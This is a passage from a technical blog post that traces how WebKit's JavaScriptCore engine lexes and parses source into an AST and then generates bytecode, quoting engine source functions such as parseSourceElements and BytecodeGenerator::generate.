</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> lastTokenEnd <span style="color:#f92672">=</span> m_token.m_location.endOffset;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> lastTokenLineStart <span style="color:#f92672">=</span> m_token.m_location.lineStartOffset;
</span></span><span style="display:flex;"><span>        m_lastTokenEndPosition <span style="color:#f92672">=</span> JSTextPosition(lastLine, lastTokenEnd, lastTokenLineStart);
</span></span><span style="display:flex;"><span>        m_lexer<span style="color:#f92672">-&gt;</span>setLastLineNumber(lastLine);
</span></span><span style="display:flex;"><span>        m_token.m_type <span style="color:#f92672">=</span> m_lexer<span style="color:#f92672">-&gt;</span>lex(<span style="color:#f92672">&amp;</span>m_token, lexerFlags, strictMode());
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <code>m_lexer-&gt;lex</code> eventually calls the function <a href="https://github.com/WebKit/webkit/blob/10027a1855e3e331fcedcb04c2c168ca50a1aa40/Source/JavaScriptCore/parser/Lexer.cpp#L1896"><code>Lexer&lt;T&gt;::lexWithoutClearingLineTerminator</code></a>. This function lexes the next token in the source and returns a JSToken object to the caller.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JSTokenType Lexer<span style="color:#f92672">&lt;</span>T<span style="color:#f92672">&gt;::</span>lexWithoutClearingLineTerminator(JSToken<span style="color:#f92672">*</span> tokenRecord, OptionSet<span style="color:#f92672">&lt;</span>LexerFlags<span style="color:#f92672">&gt;</span> lexerFlags, <span style="color:#66d9ef">bool</span> strictMode)
</span></span></code></pre></div><p>Anyone interested in the workings of the lexer should review the functions within <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/parser/Lexer.cpp">Lexer.cpp</a></p>
<p>Once the <code>parser</code> object has been initialised, the function <code>parse</code> is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.h#L2173">invoked</a> which beings the process of parsing. The parsing function, <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.h#L2056">parse</a>, invokes <code>parseInner</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">auto</span> parseResult <span style="color:#f92672">=</span> parseInner(calleeName, parseMode, parsingContext, functionConstructorParametersEndPosition, instanceFieldLocations);
</span></span></code></pre></div><p>The function <code>parseInner</code> begins by setting up a context object for <code>ASTBuilder</code> called <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L214"><code>context</code></a>. <code>context</code> now has references to the source code, the <code>parserArena</code> and the vm. After a series of checks parseInner eventually calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L263"><code>parseSouceElements</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>sourceElements <span style="color:#f92672">=</span> parseSourceElements(context, CheckForStrictMode);
</span></span></code></pre></div><p>The function <code>parseSourceElements</code> beings by <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L361">creating a <code>sourceElements</code></a> object which serves as a store for statements that have been parsed.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">template</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">typename</span> LexerType<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">template</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">TreeBuilder</span><span style="color:#f92672">&gt;</span> TreeSourceElements Parser<span style="color:#f92672">&lt;</span>LexerType<span style="color:#f92672">&gt;::</span>parseSourceElements(TreeBuilder<span style="color:#f92672">&amp;</span> context, SourceElementsMode mode)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">unsigned</span> lengthOfUseStrictLiteral <span style="color:#f92672">=</span> <span style="color:#ae81ff">12</span>; <span style="color:#75715e">// &#34;use strict&#34;.length
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    TreeSourceElements sourceElements <span style="color:#f92672">=</span> context.createSourceElements();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> (TreeStatement statement <span style="color:#f92672">=</span> parseStatementListItem(context, directive, <span style="color:#f92672">&amp;</span>directiveLiteralLength)) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (shouldCheckForUseStrict) {
</span></span><span style="display:flex;"><span>           <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>        context.appendStatement(sourceElements, statement);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    propagateError();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> sourceElements;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function then <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L367">iterates over the statements</a> in the source code to lex and parse the unlinkedSourceCode referenced by <code>context</code> with a call to <code>parseStatementListItem</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (TreeStatement statement <span style="color:#f92672">=</span> parseStatementListItem(context, directive, <span style="color:#f92672">&amp;</span>directiveLiteralLength)) {
</span></span></code></pre></div><p>The function <code>parseStatementListItem</code> is responsible for continuing the lexing and parsing of the source code to construct an AST. Parsing of tokens to generate <code>TreeStatement</code> nodes; the interested reader can explore this by reviewing the functions within <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/parser/Parser.cpp">Parser.cpp</a>. An example of a variable declaration parsing function can be found <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L742">here</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">template</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">TreeBuilder</span><span style="color:#f92672">&gt;</span> TreeStatement Parser<span style="color:#f92672">&lt;</span>LexerType<span style="color:#f92672">&gt;::</span>parseVariableDeclaration(TreeBuilder<span style="color:#f92672">&amp;</span> context, DeclarationType declarationType, ExportType exportType)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    ASSERT(match(VAR) <span style="color:#f92672">||</span> match(LET) <span style="color:#f92672">||</span> match(CONSTTOKEN));
</span></span><span style="display:flex;"><span>    JSTokenLocation <span style="color:#a6e22e">location</span>(tokenLocation());
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> start <span style="color:#f92672">=</span> tokenLine();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> end <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> scratch;
</span></span><span style="display:flex;"><span>    TreeDestructuringPattern scratch1 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    TreeExpression scratch2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    JSTextPosition scratch3;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> scratchBool;
</span></span><span style="display:flex;"><span>    TreeExpression variableDecls <span style="color:#f92672">=</span> parseVariableDeclarationList(context, scratch, scratch1, scratch2, scratch3, scratch3, scratch3, VarDeclarationContext, declarationType, exportType, scratchBool);
</span></span><span style="display:flex;"><span>    propagateError();
</span></span><span style="display:flex;"><span>    failIfFalse(autoSemiColon(), <span style="color:#e6db74">&#34;Expected &#39;;&#39; after variable declaration&#34;</span>);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> context.createDeclarationStatement(location, variableDecls, start, end);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The <code>StatementNodes</code> returned at the end of the call to <code>parseStatementListItem</code> are then validated and added to the <code>sourceElements</code> object.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>context.appendStatement(sourceElements, statement);
</span></span></code></pre></div><p><code>parseSourceElements</code> returns by creating an AST of <code>ParsedNode</code> elements. When <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L79"><code>parse</code></a> returns without any syntax or semantic parsing errors, we have a valid AST with <code>rootNode</code> pointing to the root of the tree. The various node types that form an AST are defined in the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/parser/NodeConstructors.h">parser/NodeContructors.h</a> and <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/parser/Nodes.h">parser/Nodes.h</a></p>
<h1 id="bytecode">Bytecode</h1>
<p>This section dives into the details of bytecode generation from the AST generated in the previous section. It will be worth the readers time to review the webkit blog<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> on the latest changes to the bytecode format in JSC and background reading on why these changes were introduced. Bytecode is the source of truth for the engine and the discussion in this section is perhaps the most important to the rest of the blog series.</p>
<h2 id="generation">Generation</h2>
<p>Once an AST has been generated, the next step before bytecode generation is to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L101">create an <code>UnlikedCodeBlock</code></a> object.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>UnlinkedCodeBlockType<span style="color:#f92672">*</span> unlinkedCodeBlock <span style="color:#f92672">=</span> UnlinkedCodeBlockType<span style="color:#f92672">::</span>create(vm, executableInfo, codeGenerationMode);
</span></span><span style="display:flex;"><span>unlinkedCodeBlock<span style="color:#f92672">-&gt;</span>recordParse(rootNode<span style="color:#f92672">-&gt;</span>features(), rootNode<span style="color:#f92672">-&gt;</span>hasCapturedVariables(), lineCount, unlinkedEndColumn);
</span></span></code></pre></div><p>The generated <code>unlinkedCodeBlock</code> is then populated with unlinked bytecode with the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L111"><code>BytecodeGenerator::generate</code></a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>error <span style="color:#f92672">=</span> BytecodeGenerator<span style="color:#f92672">::</span>generate(vm, rootNode.get(), source, unlinkedCodeBlock, codeGenerationMode, variablesUnderTDZ, ecmaMode);
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L150"><code>BytecodeGenerator::generate</code></a> initialises a <code>BytecodeGenerator</code> object with the supplied AST (i.e. the root node reference) and then beings generating bytecode for the AST:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">template</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">typename</span> Node, <span style="color:#66d9ef">typename</span> UnlinkedCodeBlock<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> ParserError generate(VM<span style="color:#f92672">&amp;</span> vm, Node<span style="color:#f92672">*</span> node, <span style="color:#66d9ef">const</span> SourceCode<span style="color:#f92672">&amp;</span> sourceCode, UnlinkedCodeBlock<span style="color:#f92672">*</span> unlinkedCodeBlock, OptionSet<span style="color:#f92672">&lt;</span>CodeGenerationMode<span style="color:#f92672">&gt;</span> codeGenerationMode, <span style="color:#66d9ef">const</span> VariableEnvironment<span style="color:#f92672">*</span> environment, ECMAMode ecmaMode)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    DeferGC <span style="color:#a6e22e">deferGC</span>(vm.heap);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span> bytecodeGenerator <span style="color:#f92672">=</span> makeUnique<span style="color:#f92672">&lt;</span>BytecodeGenerator<span style="color:#f92672">&gt;</span>(vm, node, unlinkedCodeBlock, codeGenerationMode, environment, ecmaMode);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span> result <span style="color:#f92672">=</span> bytecodeGenerator<span style="color:#f92672">-&gt;</span>generate();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>First a <code>BytecodeGenerator</code> object is initialised, by calling the <code>BytecodeGenerator</code> <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L292">constructor</a>. This constructor in addition to initialising several aspects of the generator also emits bytecode for the program prologue (e.g. the program entry point).</p>
<p>The call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L150">generate</a>, initiates bytecode generation for various <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L170">function initalisation</a> constructs before emitting bytecode for the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L215">global scope</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>ParserError BytecodeGenerator<span style="color:#f92672">::</span>generate()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_codeBlock<span style="color:#f92672">-&gt;</span>setThisRegister(m_thisRegister.virtualRegister());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (m_restParameter)
</span></span><span style="display:flex;"><span>        m_restParameter<span style="color:#f92672">-&gt;</span>emit(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        RefPtr<span style="color:#f92672">&lt;</span>RegisterID<span style="color:#f92672">&gt;</span> temp <span style="color:#f92672">=</span> newTemporary();
</span></span><span style="display:flex;"><span>        RefPtr<span style="color:#f92672">&lt;</span>RegisterID<span style="color:#f92672">&gt;</span> tolLevelScope;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span> functionPair : m_functionsToInitialize) {
</span></span><span style="display:flex;"><span>            FunctionMetadataNode<span style="color:#f92672">*</span> metadata <span style="color:#f92672">=</span> functionPair.first;
</span></span><span style="display:flex;"><span>            FunctionVariableType functionType <span style="color:#f92672">=</span> functionPair.second;
</span></span><span style="display:flex;"><span>            emitNewFunction(temp.get(), metadata);
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> callingClassConstructor <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>callingClassConstructor)
</span></span><span style="display:flex;"><span>        m_scopeNode<span style="color:#f92672">-&gt;</span>emitBytecode(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        emitUnreachable();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> handler : m_exceptionHandlersToEmit) {
</span></span><span style="display:flex;"><span>        Ref<span style="color:#f92672">&lt;</span>Label<span style="color:#f92672">&gt;</span> realCatchTarget <span style="color:#f92672">=</span> newLabel();
</span></span><span style="display:flex;"><span>        TryData<span style="color:#f92672">*</span> tryData <span style="color:#f92672">=</span> handler.tryData;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        OpCatch<span style="color:#f92672">::</span>emit(<span style="color:#66d9ef">this</span>, handler.exceptionRegister, handler.thrownValueRegister);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        m_codeBlock<span style="color:#f92672">-&gt;</span>addJumpTarget(m_lastInstruction.offset());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        emitJump(tryData<span style="color:#f92672">-&gt;</span>target.get());
</span></span><span style="display:flex;"><span>        tryData<span style="color:#f92672">-&gt;</span>target <span style="color:#f92672">=</span> WTFMove(realCatchTarget);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    m_staticPropertyAnalyzer.kill();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> range : m_tryRanges) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> start <span style="color:#f92672">=</span> range.start<span style="color:#f92672">-&gt;</span>bind();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> end <span style="color:#f92672">=</span> range.end<span style="color:#f92672">-&gt;</span>bind();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (end <span style="color:#f92672">&lt;=</span> start)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        UnlinkedHandlerInfo <span style="color:#a6e22e">info</span>(<span style="color:#66d9ef">static_cast</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">uint32_t</span><span style="color:#f92672">&gt;</span>(start), <span style="color:#66d9ef">static_cast</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">uint32_t</span><span style="color:#f92672">&gt;</span>(end),
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">static_cast</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">uint32_t</span><span style="color:#f92672">&gt;</span>(range.tryData<span style="color:#f92672">-&gt;</span>target<span style="color:#f92672">-&gt;</span>bind()), range.tryData<span style="color:#f92672">-&gt;</span>handlerType);
</span></span><span style="display:flex;"><span>        m_codeBlock<span style="color:#f92672">-&gt;</span>addExceptionHandler(info);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_codeBlock<span style="color:#f92672">-&gt;</span>finalize(m_writer.finalize());
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">ParserError</span>(ParserError<span style="color:#f92672">::</span>ErrorNone);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L215"><code>emitBytecode</code></a>, called by generate, ends up calling <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecompiler/NodesCodegen.cpp#L4569"><code>emitProgramNodeBytecode</code></a>, which as the name suggests is responsible for generating bytecode for the program node by traversing the AST.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">emitProgramNodeBytecode</span>(BytecodeGenerator<span style="color:#f92672">&amp;</span> generator, ScopeNode<span style="color:#f92672">&amp;</span> scopeNode)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    generator.emitDebugHook(WillExecuteProgram, scopeNode.startLine(), scopeNode.startStartOffset(), scopeNode.startLineStartOffset());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    RefPtr<span style="color:#f92672">&lt;</span>RegisterID<span style="color:#f92672">&gt;</span> dstRegister <span style="color:#f92672">=</span> generator.newTemporary();
</span></span><span style="display:flex;"><span>    generator.emitLoad(dstRegister.get(), jsUndefined());
</span></span><span style="display:flex;"><span>    generator.emitProfileControlFlow(scopeNode.startStartOffset());
</span></span><span style="display:flex;"><span>    scopeNode.emitStatementsBytecode(generator, dstRegister.get());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    generator.emitDebugHook(DidExecuteProgram, scopeNode.lastLine(), scopeNode.startOffset(), scopeNode.lineStartOffset());
</span></span><span style="display:flex;"><span>    generator.emitEnd(dstRegister.get());
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The various opcodes are defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecode/BytecodeList.rb"><code>BytecodeList.rb</code></a> which at compile time is used to generate <code>BytecodeStructs.h</code> which is referenced by he <code>BytecodeGenerator</code> to emit the relevant opcodes. The structs for the various opcodes also define several helper functions, one of which allows dumping bytecodes to stdout in a human readable format. <code>BytecodeStructs.h</code> is typically located under <code>&lt;build-directory&gt;/Debug/DerivedSources/JavaScriptCore/BytecodeStructs.h</code>. An example of the <code>OpAdd</code> instruction is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">OpAdd</span> <span style="color:#f92672">:</span> <span style="color:#66d9ef">public</span> Instruction {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">constexpr</span> OpcodeID opcodeID <span style="color:#f92672">=</span> op_add;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">constexpr</span> size_t length <span style="color:#f92672">=</span> <span style="color:#ae81ff">6</span>;
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">template</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">typename</span> BytecodeGenerator<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> emit(BytecodeGenerator<span style="color:#f92672">*</span> gen, VirtualRegister dst, VirtualRegister lhs, VirtualRegister rhs, OperandTypes operandTypes)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        emitWithSmallestSizeRequirement<span style="color:#f92672">&lt;</span>OpcodeSize<span style="color:#f92672">::</span>Narrow, BytecodeGenerator<span style="color:#f92672">&gt;</span>(gen, dst, lhs, rhs, operandTypes);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">private</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">template</span><span style="color:#f92672">&lt;</span>OpcodeSize __size, <span style="color:#66d9ef">bool</span> recordOpcode, <span style="color:#66d9ef">typename</span> BytecodeGenerator<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">bool</span> emitImpl(BytecodeGenerator<span style="color:#f92672">*</span> gen, VirtualRegister dst, VirtualRegister lhs, VirtualRegister rhs, OperandTypes operandTypes, <span style="color:#66d9ef">unsigned</span> __metadataID)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (__size <span style="color:#f92672">==</span> OpcodeSize<span style="color:#f92672">::</span>Wide16)
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>alignWideOpcode16();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">if</span> (__size <span style="color:#f92672">==</span> OpcodeSize<span style="color:#f92672">::</span>Wide32)
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>alignWideOpcode32();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (checkImpl<span style="color:#f92672">&lt;</span>__size<span style="color:#f92672">&gt;</span>(gen, dst, lhs, rhs, operandTypes, __metadataID)) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (recordOpcode)
</span></span><span style="display:flex;"><span>                gen<span style="color:#f92672">-&gt;</span>recordOpcode(opcodeID);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (__size <span style="color:#f92672">==</span> OpcodeSize<span style="color:#f92672">::</span>Wide16)
</span></span><span style="display:flex;"><span>                gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>OpcodeID, OpcodeSize<span style="color:#f92672">::</span>Narrow<span style="color:#f92672">&gt;::</span>convert(op_wide16));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">if</span> (__size <span style="color:#f92672">==</span> OpcodeSize<span style="color:#f92672">::</span>Wide32)
</span></span><span style="display:flex;"><span>                gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>OpcodeID, OpcodeSize<span style="color:#f92672">::</span>Narrow<span style="color:#f92672">&gt;::</span>convert(op_wide32));
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>OpcodeID, OpcodeSize<span style="color:#f92672">::</span>Narrow<span style="color:#f92672">&gt;::</span>convert(opcodeID));
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>VirtualRegister, __size<span style="color:#f92672">&gt;::</span>convert(dst));
